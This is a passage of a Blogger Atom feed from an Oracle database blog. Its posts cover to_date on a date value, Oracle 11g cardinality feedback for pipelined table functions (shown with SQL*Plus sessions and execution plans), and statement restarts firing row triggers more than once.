class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-4187490680188937026?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/4187490680188937026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=4187490680188937026' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4187490680188937026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4187490680188937026'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/05/sqlnet-thing-i-probably-forgot-about.html' title='A SQLNet thing I probably forgot about...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3544581688768642501</id><published>2010-05-05T17:27:00.004-04:00</published><updated>2010-05-05T17:55:58.736-04:00</updated><title type='text'>Not something new...</title><content type='html'>But something I see people learning over and over and over again.&lt;br /&gt;&lt;br /&gt;I was reminded of a recently asked asktom question - regarding an "intermittent" 'Oracle' bug in a java application ('Oracle' used for sarcasm on my part).&lt;br /&gt;&lt;br /&gt;I was reading the current &lt;a href="http://www.toadworld.com/Default.aspx?tabid=67&amp;amp;EntryID=536"&gt;Steven Feuerstein's Blog&lt;/a&gt; entry (read that link before going on).  It was exactly the same problem &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:2581129900346443033"&gt;found by the java developers&lt;/a&gt; on asktom - which they were certain would be an 'Oracle bug' (hint: it wasn't, it was clearly and demonstrably in their code).&lt;br /&gt;&lt;br /&gt;Funny, I see the pattern so often that I saw the bug in both bits of code almost immediately.  It jumped out and hit my in the face.&lt;br /&gt;&lt;br /&gt;SPOILER ALERT: don't read past here if you want to test your ability to find the bug, read Steven's article first.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maybe I'll put in a request for the to_date function to be overloaded to accept a date as input and just return that date as output.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;edit: added after *thinking* about what I just said...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;That of course would never work.  People are expecting the date format to be applied to the string, so just returning the date could of course NOT be the right thing to do.  I guess the overload would have to turn:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;to_date( DATE, 'fmt' )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;into &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;to_date( to_char(date,'fmt'), 'fmt' )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;instead of&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;to_date( to_char(date, IMPLICIT_FORMAT ), 'fmt' )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;as it does now, but it would be a HUGE change to existing code that 'relies' the way it currently works...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The to_date function takes a string as input and since the date can be converted to a string - it is.  I've seen MANY people use:&lt;br /&gt;&lt;br /&gt;to_date( date )&lt;br /&gt;&lt;br /&gt;to "truncate" a date (horrible idea - not only slow, but RISKY) - it would break their code (not that it isn't already broken) so it would probably be questionable...&lt;br /&gt;&lt;br /&gt;Important enough to point out to a wide audience though - beware implicit conversions and watch out for to_date( of a date )!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3544581688768642501?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3544581688768642501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3544581688768642501' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3544581688768642501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3544581688768642501'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/05/not-something-new.html' title='Not something new...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1039217230469996616</id><published>2010-05-03T07:25:00.002-04:00</published><updated>2010-05-03T07:37:54.034-04:00</updated><title type='text'>A decade ago...</title><content type='html'>It was ten years ago that &lt;a href="http://asktom.oracle.com/"&gt;asktom&lt;/a&gt; was "born" (and five years and a month ago this blog was)...&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::NO::P11_QUESTION_ID:82212348058"&gt;first question asked&lt;/a&gt; was about Oracle 7.3 on a Sun 5.5.1 machine - in early 2000 (right after we got by that year 2000 thing).  Funny, the last time it was updated was.... just a little more than 3 months ago - it is still alive...&lt;br /&gt;&lt;br /&gt;Man oh man - have things changed since.  I stand at about 12,000 published Q&amp;amp;A's (about 40,000 in total - not all get published for various reasons...)  I have 10 new ones in the queue (will get to them soon - have lots of travel planned for today and the week in fact)...&lt;br /&gt;&lt;br /&gt;I've learned a lot in the last ten years - things have changed considerably.&lt;br /&gt;&lt;br /&gt;Remember what a "big" server looked like in 2000?  Remember what they cost?  Think about how now you can buy stuff off of the shelf on your credit card that blows them away.&lt;br /&gt;&lt;br /&gt;In 1997 - we were doing terabyte test to scales - a terabyte was such a big deal then that we would put out a press release.  Now we have a database machine with 5tb of flash cache just to buffer part of the database....  A terabyte is nothing - my son would be disappointed in any laptop with less than that for storage...&lt;br /&gt;&lt;br /&gt;It is only because things keep changing so fast, so much - that this stuff stays interesting.  Imagine if it were still like 1993 (when I joined Oracle) 17 years later.  It would be pretty boring...&lt;br /&gt;&lt;br /&gt;Anyway, thanks for all of the great questions - looking forward to more...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1039217230469996616?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1039217230469996616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1039217230469996616' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1039217230469996616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1039217230469996616'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/05/decade-ago.html' title='A decade ago...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-4883776717943334597</id><published>2010-04-28T10:26:00.008-04:00</published><updated>2010-04-28T11:33:48.315-04:00</updated><title type='text'>Something new I learned about estimated cardinalities...</title><content type='html'>I've used pipelined functions and other table functions many times in the past.  One of the drawbacks with using them is the fact that the optimizer has no clue what the estimated cardinality will be.&lt;br /&gt;&lt;br /&gt;Another thing that has bothered me - is the question "why doesn't the optimizer learn from its mistakes".  If it estimated a certain step in a given plan would return 5,000 rows - and it discovers through experience "it only returns 5 rows" - why doesn't it 'learn' from that.&lt;br /&gt;&lt;br /&gt;Well, 11g is addressing both of these.  I was aware of the 2nd issue being addressed - features like &lt;a href="http://asktom.oracle.com/pls/asktom/asktom.search?p_string=adaptive+cursor+sharing"&gt;adaptive cursor sharing&lt;/a&gt; are all about that.&lt;br /&gt;&lt;br /&gt;But I stumbled on a new feature (first available in 11.1 releases) that started affecting table functions (in 11.2) - that feature is called '&lt;a href="http://www.google.com/search?q=%2B%22cardinality+feedback+used+for+this+statement%22+%2Boracle"&gt;cardinality feedback&lt;/a&gt;'.&lt;br /&gt;&lt;br /&gt;Normally, when you have a pipelined function - the estimated cardinality is computed based on your blocksize - the default number of rows that will come from it are based on your database block size.  I have an 8k block size so....&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; create or replace type str2tblType&lt;br /&gt;                  as table of varchar2(30);&lt;br /&gt;2  /&lt;br /&gt;&lt;br /&gt;Type created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; create or replace&lt;br /&gt;2  function str2tbl( p_str in varchar2, p_delim in varchar2 default ',' )&lt;br /&gt;3  return str2tblType&lt;br /&gt;4  PIPELINED&lt;br /&gt;5  as&lt;br /&gt;6      l_str      long default p_str || p_delim;&lt;br /&gt;7      l_n        number;&lt;br /&gt;8  begin&lt;br /&gt;9      loop&lt;br /&gt;10          l_n := instr( l_str, p_delim );&lt;br /&gt;11          exit when (nvl(l_n,0) = 0);&lt;br /&gt;12          pipe row ( ltrim(rtrim(substr(l_str,1,l_n-1))) );&lt;br /&gt;13          l_str := substr( l_str, l_n+1 );&lt;br /&gt;14      end loop;&lt;br /&gt;15      return;&lt;br /&gt;16  end;&lt;br /&gt;17  /&lt;br /&gt;&lt;br /&gt;Function created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; column plan_table_output format a80 truncate&lt;br /&gt;ops$tkyte%ORA11GR2&gt; variable in_list varchar2(255)&lt;br /&gt;ops$tkyte%ORA11GR2&gt; exec :in_list := 'DBMS_PIPE,DBMS_OUTPUT,UTL_FILE';&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; set autotrace traceonly explain&lt;br /&gt;ops$tkyte%ORA11GR2&gt; select *&lt;br /&gt;2    from TABLE(cast( str2tbl( :in_list ) as str2tblType) ) t;&lt;br /&gt;&lt;br /&gt;Execution Plan&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;Plan hash value: 2407808827&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;| Id  | Operation                         | Name    | Rows  | Bytes | Cost (%CPU&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;|   0 | SELECT STATEMENT                  |         |  8168 | 16336 |    29   (0&lt;br /&gt;|   1 |  COLLECTION ITERATOR PICKLER FETCH| STR2TBL |  8168 | 16336 |    29   (0&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;.&lt;br /&gt;The optimizer guesses 8168 rows.  It all probability - the real number of rows is not anywhere near 8168.  If we use this estimated row count in a bigger query - we'll probably end up with the wrong plan (I like to say - wrong card=wrong plan, right card=right plan - where card is cardinality).&lt;br /&gt;&lt;br /&gt;Now, if I run the query and ask Oracle "what plan did you use", we get to see 'reality' - not an explain plan (explain plans are many times not representative of reality!) and reality said:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; set autotrace off&lt;br /&gt;ops$tkyte%ORA11GR2&gt; set serveroutput off&lt;br /&gt;ops$tkyte%ORA11GR2&gt; select *&lt;br /&gt;2    from TABLE(cast( str2tbl( :in_list ) as str2tblType) ) t;&lt;br /&gt;&lt;br /&gt;COLUMN_VALUE&lt;br /&gt;------------------------------&lt;br /&gt;DBMS_PIPE&lt;br /&gt;DBMS_OUTPUT&lt;br /&gt;UTL_FILE&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; select * from table(dbms_xplan.display_cursor);&lt;br /&gt;&lt;br /&gt;PLAN_TABLE_OUTPUT&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;SQL_ID  cu030hs8vrjjn, child number 1&lt;br /&gt;-------------------------------------&lt;br /&gt;select *   from TABLE(cast( str2tbl( :in_list ) as str2tblType) ) t&lt;br /&gt;&lt;br /&gt;Plan hash value: 2407808827&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;| Id  | Operation                         | Name    | Rows  | Bytes | Cost (%CPU&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;|   0 | SELECT STATEMENT                  |         |       |       |    29 (100&lt;br /&gt;|   1 |  COLLECTION ITERATOR PICKLER FETCH| STR2TBL |  8168 | 16336 |    29   (0&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;13 rows selected.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Which is not any different from explain plan at this point.  Reality says "I came up with a plan based on an estimated cardinality of 8168 rows"... However, the database actually *ran* the query this time - and the database has learned from its mistake:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; select *&lt;br /&gt;2    from TABLE(cast( str2tbl( :in_list ) as str2tblType) ) t;&lt;br /&gt;&lt;br /&gt;COLUMN_VALUE&lt;br /&gt;------------------------------&lt;br /&gt;DBMS_PIPE&lt;br /&gt;DBMS_OUTPUT&lt;br /&gt;UTL_FILE&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; select * from table(dbms_xplan.display_cursor);&lt;br /&gt;&lt;br /&gt;PLAN_TABLE_OUTPUT&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;SQL_ID  cu030hs8vrjjn, child number 2&lt;br /&gt;-------------------------------------&lt;br /&gt;select *   from TABLE(cast( str2tbl( :in_list ) as str2tblType) ) t&lt;br /&gt;&lt;br /&gt;Plan hash value: 2407808827&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;| Id  | Operation                         | Name    | Rows  | Bytes | Cost (%CPU&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;|   0 | SELECT STATEMENT                  |         |       |       |    29 (100&lt;br /&gt;|   1 |  COLLECTION ITERATOR PICKLER FETCH| STR2TBL |     6 |    12 |    29   (0&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Note&lt;br /&gt;-----&lt;br /&gt;- cardinality feedback used for this statement&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;17 rows selected.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;.&lt;br /&gt;Apparently, it hard parsed that query - it did not reuse the plan.  We know that it hard parsed since it just created child #2 - and we can see the plan is different - the row count is much lower.&lt;br /&gt;&lt;br /&gt;Now, in this example, onl y the estimated row counts changed - the actual plan is the same (the query is after all very simple).  Will this affect real world queries?&lt;br /&gt;&lt;br /&gt;Yes, it will :)&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA11GR2&gt; create table data&lt;br /&gt;2  as&lt;br /&gt;3  select *&lt;br /&gt;4    from all_objects;&lt;br /&gt;&lt;br /&gt;Table created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; create index data_idx on data(object_name);&lt;br /&gt;&lt;br /&gt;Index created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; exec dbms_stats.gather_table_stats( user, 'DATA' );&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; set serveroutput off&lt;br /&gt;ops$tkyte%ORA11GR2&gt; with T as&lt;br /&gt;2  ( select distinct * from TABLE(cast( str2tbl( :in_list ) as str2tblType) ) t where rownum &gt; 0 )&lt;br /&gt;3  select * from data, t where data.object_name = t.column_value&lt;br /&gt;4  /&lt;br /&gt;....&lt;br /&gt;10 rows selected.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; select * from table(dbms_xplan.display_cursor());&lt;br /&gt;&lt;br /&gt;PLAN_TABLE_OUTPUT&lt;br /&gt;----------------------------------------------------------------------------------------------------&lt;br /&gt;SQL_ID  bv5ar1b8sft67, child number 0&lt;br /&gt;-------------------------------------&lt;br /&gt;with T as ( select distinct * from TABLE(cast( str2tbl( :in_list ) as&lt;br /&gt;str2tblType) ) t where rownum &gt; 0 ) select * from data, t where&lt;br /&gt;data.object_name = t.column_value&lt;br /&gt;&lt;br /&gt;Plan hash value: 892089582&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------------------------&lt;br /&gt;| Id  | Operation                              | Name    | Rows  | Bytes | Cost (%CPU)| Time     |&lt;br /&gt;--------------------------------------------------------------------------------------------------&lt;br /&gt;|   0 | SELECT STATEMENT                       |         |       |       |   319 (100)|          |&lt;br /&gt;|*  1 |  HASH JOIN                             |         | 13730 |  1528K|   319   (1)| 00:00:04 |&lt;br /&gt;|   2 |   VIEW                                 |         |  8168 |   135K|    30   (4)| 00:00:01 |&lt;br /&gt;|   3 |    HASH UNIQUE                         |         |  8168 | 16336 |    30   (4)| 00:00:01 |&lt;br /&gt;|   4 |     COUNT                              |         |       |       |            |          |&lt;br /&gt;|*  5 |      FILTER                            |         |       |       |            |          |&lt;br /&gt;|   6 |       COLLECTION ITERATOR PICKLER FETCH| STR2TBL |  8168 | 16336 |    29   (0)| 00:00:01 |&lt;br /&gt;|   7 |   TABLE ACCESS FULL                    | DATA    | 72236 |  6842K|   288   (1)| 00:00:04 |&lt;br /&gt;--------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Predicate Information (identified by operation id):&lt;br /&gt;---------------------------------------------------&lt;br /&gt;&lt;br /&gt; 1 - access("DATA"."OBJECT_NAME"="T"."COLUMN_VALUE")&lt;br /&gt; 5 - filter(ROWNUM&gt;0)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;27 rows selected.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;.&lt;br /&gt;Ugh, one of those (tongue in cheek) nasty full scans and hash joins (they are good - when they are appropriate, they aren't appropriate here...)&lt;br /&gt;&lt;br /&gt;as opposed to&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;ops$tkyte%ORA11GR2&gt; with T as&lt;br /&gt;2  ( select distinct * from TABLE(cast( str2tbl( :in_list ) as str2tblType) ) t where rownum &gt; 0 )&lt;br /&gt;3  select * from data, t where data.object_name = t.column_value&lt;br /&gt;4  /&lt;br /&gt;...&lt;br /&gt;10 rows selected.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; select * from table(dbms_xplan.display_cursor());&lt;br /&gt;&lt;br /&gt;PLAN_TABLE_OUTPUT&lt;br /&gt;----------------------------------------------------------------------------------------------------&lt;br /&gt;SQL_ID  bv5ar1b8sft67, child number 1&lt;br /&gt;-------------------------------------&lt;br /&gt;with T as ( select distinct * from TABLE(cast( str2tbl( :in_list ) as&lt;br /&gt;str2tblType) ) t where rownum &gt; 0 ) select * from data, t where&lt;br /&gt;data.object_name = t.column_value&lt;br /&gt;&lt;br /&gt;Plan hash value: 3947981921&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------------------------&lt;br /&gt;| Id  | Operation                               | Name     | Rows  | Bytes | Cost (%CPU)| Time     |&lt;br /&gt;----------------------------------------------------------------------------------------------------&lt;br /&gt;|   0 | SELECT STATEMENT                        |          |       |       |    48 (100)|          |&lt;br /&gt;|   1 |  NESTED LOOPS                           |          |       |       |            |          |&lt;br /&gt;|   2 |   NESTED LOOPS                          |          |    10 |  1140 |    48   (3)| 00:00:01 |&lt;br /&gt;|   3 |    VIEW                                 |          |     6 |   102 |    30   (4)| 00:00:01 |&lt;br /&gt;|   4 |     HASH UNIQUE                         |          |     6 |    12 |    30   (4)| 00:00:01 |&lt;br /&gt;|   5 |      COUNT                              |          |       |       |            |          |&lt;br /&gt;|*  6 |       FILTER                            |          |       |       |            |          |&lt;br /&gt;|   7 |        COLLECTION ITERATOR PICKLER FETCH| STR2TBL  |     6 |    12 |    29   (0)| 00:00:01 |&lt;br /&gt;|*  8 |    INDEX RANGE SCAN                     | DATA_IDX |     2 |       |     2   (0)| 00:00:01 |&lt;br /&gt;|   9 |   TABLE ACCESS BY INDEX ROWID           | DATA     |     2 |   194 |     3   (0)| 00:00:01 |&lt;br /&gt;----------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Predicate Information (identified by operation id):&lt;br /&gt;---------------------------------------------------&lt;br /&gt;&lt;br /&gt; 6 - filter(ROWNUM&gt;0)&lt;br /&gt; 8 - access("DATA"."OBJECT_NAME"="T"."COLUMN_VALUE")&lt;br /&gt;&lt;br /&gt;Note&lt;br /&gt;-----&lt;br /&gt; - cardinality feedback used for this statement&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;33 rows selected.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Nice - it learned from the errors of its ways...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: this affects more than just table functions - read some of the links found on google to see other interesting examples.&lt;br /&gt;&lt;br /&gt;Very nice.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-4883776717943334597?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/4883776717943334597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=4883776717943334597' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4883776717943334597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4883776717943334597'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/something-new-i-learned-about-estimated.html' title='Something new I learned about estimated cardinalities...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7105124157178699873</id><published>2010-04-27T16:33:00.004-04:00</published><updated>2010-04-28T08:19:50.859-04:00</updated><title type='text'>That old restart problem again...</title><content type='html'>Not something entirely learned new today - but rather a revisited "something I learned" coupled with an "I didn't necessarily expect it in this case".&lt;br /&gt;&lt;br /&gt;It is the old "statement restart" and "evil triggers" issue.  I had an &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:2599480800346313755"&gt;asktom question&lt;/a&gt; asking why a row seemed to be getting deleted twice.  You should read that link, I'll be referring to it here.&lt;br /&gt;&lt;br /&gt;I immediately knew what the issue was (I was pretty sure).  Before I even read the test case - I had already pointed them to three articles I wrote on the subject a while ago...&lt;br /&gt;&lt;br /&gt;But when I looked at their test case and modified it slightly to be smaller and easier to read - I was frankly surprised at what was happening - but ok with the behavior.&lt;br /&gt;&lt;br /&gt;It takes a series of bad things to happen for this issue the poster was seeing to have happen, you have to&lt;br /&gt;&lt;br /&gt;a) use a trigger (evil)&lt;br /&gt;b) do something non-transactional in that trigger - for example modify a package global variable&lt;br /&gt;c) do slow by slow processing (if they did a big mass operation - they could still see a restart, but it would be less likely perhaps)&lt;br /&gt;&lt;br /&gt;Here is a snippet of the code again:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; create or replace PACKAGE pacepack&lt;br /&gt;2  as&lt;br /&gt;3      type array is table of number index by varchar2(40);&lt;br /&gt;4      g_data array;&lt;br /&gt;5      g_cnt  number;&lt;br /&gt;6  end pacepack;&lt;br /&gt;7  /&lt;br /&gt;&lt;br /&gt;Package created.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That package just has some global variables (evil global variables - evil evil - they didn't use globals in their API, they had getter/setter functions - but they behaved like globals as well).  We'll create a row trigger to save the rowids of the rows our trigger has processed - even if Oracle rolls back our firing statement - modifications we've made in our trigger to the globals won't rollback.&lt;br /&gt;&lt;br /&gt;Now, we'll code the trigger:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; create table delete_data&lt;br /&gt;2  as&lt;br /&gt;3  select owner, object_name&lt;br /&gt;4  from dba_objects&lt;br /&gt;5  where rownum  &lt; 53001;&lt;br /&gt;&lt;br /&gt;Table created.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; create or replace trigger delete_data_bt&lt;br /&gt;2  before delete or update on delete_data&lt;br /&gt;3  for each row&lt;br /&gt;4  begin&lt;br /&gt;5      if ( pacepack.g_data.exists(rowidtochar(:old.rowid)) )&lt;br /&gt;6      then&lt;br /&gt;7          dbms_output.put_line( 'doing "' || :old.rowid ||&lt;br /&gt;                   '" again was called ' || pacepack.g_cnt );&lt;br /&gt;8      else&lt;br /&gt;9          pacepack.g_data(rowidtochar(:old.rowid)) := 1;&lt;br /&gt;10      end if;&lt;br /&gt;11      pacepack.g_cnt := pacepack.g_cnt + 1;&lt;br /&gt;12  end;&lt;br /&gt;13  /&lt;br /&gt;&lt;br /&gt;Trigger created.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The trigger checks to see if the PLSQL global table variable has the rowid already entered in it - if so, it says "I already did this one", else it sets a flag showing it processed that one for the first time.  We also increment a count (you know, to count the rows we've deleted or updated).&lt;br /&gt;&lt;br /&gt;Now we process the data:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; declare&lt;br /&gt;2      CURSOR L_DELETE_CSR IS&lt;br /&gt;3      SELECT *&lt;br /&gt;4        FROM delete_data&lt;br /&gt;5         for update ;&lt;br /&gt;6      l_cnt number := 0;&lt;br /&gt;7  BEGIN&lt;br /&gt;8       pacepack.g_data.delete;&lt;br /&gt;9       pacepack.g_cnt := 0;&lt;br /&gt;10      for l_delete_row in l_delete_csr&lt;br /&gt;11      loop&lt;br /&gt;12            update delete_data&lt;br /&gt;13             set owner = lower(owner)&lt;br /&gt;14           where current of L_delete_CSR;&lt;br /&gt;15          l_cnt := l_cnt + 1;&lt;br /&gt;16      end loop;&lt;br /&gt;17      dbms_output.put_line( 'trigger count = ' || pacepack.g_cnt ||&lt;br /&gt;                     ' local count = ' || l_cnt );&lt;br /&gt;18  END;&lt;br /&gt;19  /&lt;br /&gt;doing "AAAYMdAAEAABFrnABH" again was called 8827&lt;br /&gt;doing "AAAYMdAAEAABFwiAAx" again was called 20140&lt;br /&gt;doing "AAAYMdAAEAABFyeACk" again was called 31405&lt;br /&gt;doing "AAAYMdAAEAABFzaABE" again was called 42670&lt;br /&gt;trigger count = 53004 local count = 53000&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;/pre&gt;As you can see - our trigger was fired 53,004 times - for 53,000 rows.  Our counts do not match and we can see the four updates that were restarted.&lt;br /&gt;&lt;br /&gt;Why they were restarted - not really relevant - the fact is - they CAN be restarted, we can show that they can be restarted, it is documented that they can be.  Any statement can be restarted - we do a savepoint before executing the statement and if we deem necessary (which we did obviously), we rollback to that savepoint and do it over.&lt;br /&gt;&lt;br /&gt;So, expect the restart - and stop using triggers.  If you do use triggers - be very very very careful to make sure they are not subject to issues with restarts (eg: NO autonomous transactions - NO modifications of global variables - NO API calls that have side effects that don't roll back (setter functions for example)!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7105124157178699873?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7105124157178699873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7105124157178699873' 